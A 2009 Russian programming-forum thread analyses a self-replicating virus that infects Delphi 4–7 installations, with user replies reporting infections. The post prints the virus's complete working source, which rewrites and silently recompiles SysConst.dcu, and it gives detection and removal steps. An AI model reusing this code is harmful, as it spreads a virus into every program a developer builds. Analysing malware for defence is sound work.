Форум программистов, компьютерный форум, киберфорум
Наши страницы
Delphi
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.99/131: Рейтинг темы: голосов - 131, средняя оценка - 4.99
TAVulator
3950 / 1109 / 160
Регистрация: 27.07.2009
Сообщений: 3,457
#1

Delphi-"вирус": проверьте свою установленную Delphi!

13.08.2009, 13:36. Просмотров 23636. Ответов 8
Метки нет (Все метки)

Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.
Выдержка из DK:
Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

1. Удалите SysConst.dcu
2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Полный вариант статьи
Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.

Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK):

Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:

1. Удалите SysConst.dcu
2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.

Как это началось

Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.

Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

Что это такое

Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
uses windows;
 
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
 
function x(s:string):string;
var i:integer;
begin 
  for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
  result:=s;
end;
 
procedure re(s,d,e:string);
var f1,f2:textfile;
    h:cardinal;
    f:STARTUPINFO;
    p:PROCESS_INFORMATION;
    b:boolean;
    t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then exit;
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then begin closefile(f1); exit; end;
 
  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then break;
  end;
 
  for h:= 1 to 1 do writeln(f2,sc[h]);
  for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
  for h:= 2 to 24 do writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then WaitForSingleObject(p.hProcess,INFINITE);
  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  DeleteFile(pchar(d+'pas'));
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if  h=DWORD(-1) then exit;
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then exit;
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;
 
procedure st;
  var  k:HKEY;c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;
 
begin
  st;
end.
Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.

Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.

Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:
Delphi
1
2
{'I-}assignfile(f1,s);
reset(f1); // <- возбуждается исключение, если в s записан неверный путь
При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.

Насколько это серьёзно

Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.

Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.

Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

Кто виноват и что делать

В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение.

Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):

* Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
* Поставьте атрибут “только чтение” на все файлы в папке \Lib . Ну, это не даст вирусу менять файлы, но также есть вероятность, что потом на Delphi не встанут апдейты.
* Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Аналогично: проблемы с апдейтами, но вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё.
* Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.

Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

Ну, лично мне все эти проблемы по барабану, т.к. я:

* Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
* Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
* Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).

Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи

Примечания:


(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл.

Источник
27
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
13.08.2009, 13:36
Ответы с готовыми решениями:

Чего, на Ваш взгляд, не хватило Delphi 8 и Delphi Prism, чтобы "взлететь"?
В чем они уступали Visual Studio? И почему это отставание не смогли наверстать?...

"Горячие клавиши" в среде Delphi (не могу назначить)
Пользуюсь Delphi 7 и экспертами CnPack (CnWizards) и GExpert. CnPack позволяет...

Игра "Поле чудес" переделать из CBuilder в Delphi 7
Нужно переделать игру написанную на CBuilder в Delphi 7. Скачать исходник в...

Delphi!??? Как сделать кнопки не стандартными-"прямоугольничками", а под себя???
Т.е. напр. треугольником их сделать, вообще у меня все это задумывается сделать...

Ошибка "Error 1606. Could not access network location 0\" при установке Delphi 7
Здравствуйте! Нужна ваша помощь. При установке Delphi 7 выдает ошибку &quot;Error...

8
Jazon_deenAlt
4111 / 986 / 191
Регистрация: 09.04.2009
Сообщений: 4,226
13.08.2009, 13:43 #2
Хмм... спасибо за пост) походу у меня что-то похожее) тоже какая-то ошыбка) правда кроме Делфи и фри паскаль не запускаетса)
2
Somebody
2799 / 1610 / 251
Регистрация: 03.12.2007
Сообщений: 4,212
Завершенные тесты: 3
14.08.2009, 23:50 #3
Осталось только голосование добавить, к кому это попало. Вот смотрю на другом форуме, у такого количества народу эта фигня... У меня тоже.
2
Vladiator
1569 / 639 / 79
Регистрация: 24.02.2009
Сообщений: 9,269
15.08.2009, 10:11 #4
А у меня 2009
1
.None
Эксперт по компьютерным сетям
2345 / 895 / 126
Регистрация: 23.06.2009
Сообщений: 3,163
17.08.2009, 13:38 #5
вот фак, это все qip виноваты, у меня d5 и d6 оказались инфицированы, и проги уже разошлись по регионам...
1
inter
9707 / 2461 / 48
Регистрация: 06.03.2009
Сообщений: 8,503
17.08.2009, 13:45 #6
у меня каспер прибил такой вирус внутри инсталятора qip. Дальше qip установился нормально
0
.:EAGLE:.
240 / 91 / 6
Регистрация: 11.12.2008
Сообщений: 945
23.08.2009, 00:24 #7
У меня в qip Касперский нашел этот вирус... От использования qip отказался... Но у меня все равно CodeGear Delphi 2007.
0
Andrej070
0 / 0 / 0
Регистрация: 15.07.2009
Сообщений: 31
03.09.2009, 19:56 #8
У меня тож в qip ирдис был.
0
Arriba
255 / 171 / 27
Регистрация: 17.10.2008
Сообщений: 770
04.09.2009, 00:13 #9
А у меня ничего нету, ни номера аськи и соответственно квипа, ни вируса... и косперыч если что надеюсь поймает...
1
04.09.2009, 00:13
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
04.09.2009, 00:13

Род Стивенс."Delphi готовые алгоритмы"
Очень нужен архив исходников к этой книге. У кого есть - поделитесь плиз.

Как создать "Хранитель паролей" в Delphi?
чтобы можно было забить каждый пароль и добавлять новые???????

Задача в Delphi. Класс "Вектор".
Уважаемые, форумчане) Помогите,пожалуйста,с решением задачи: Определить класс...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Закрытая тема Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru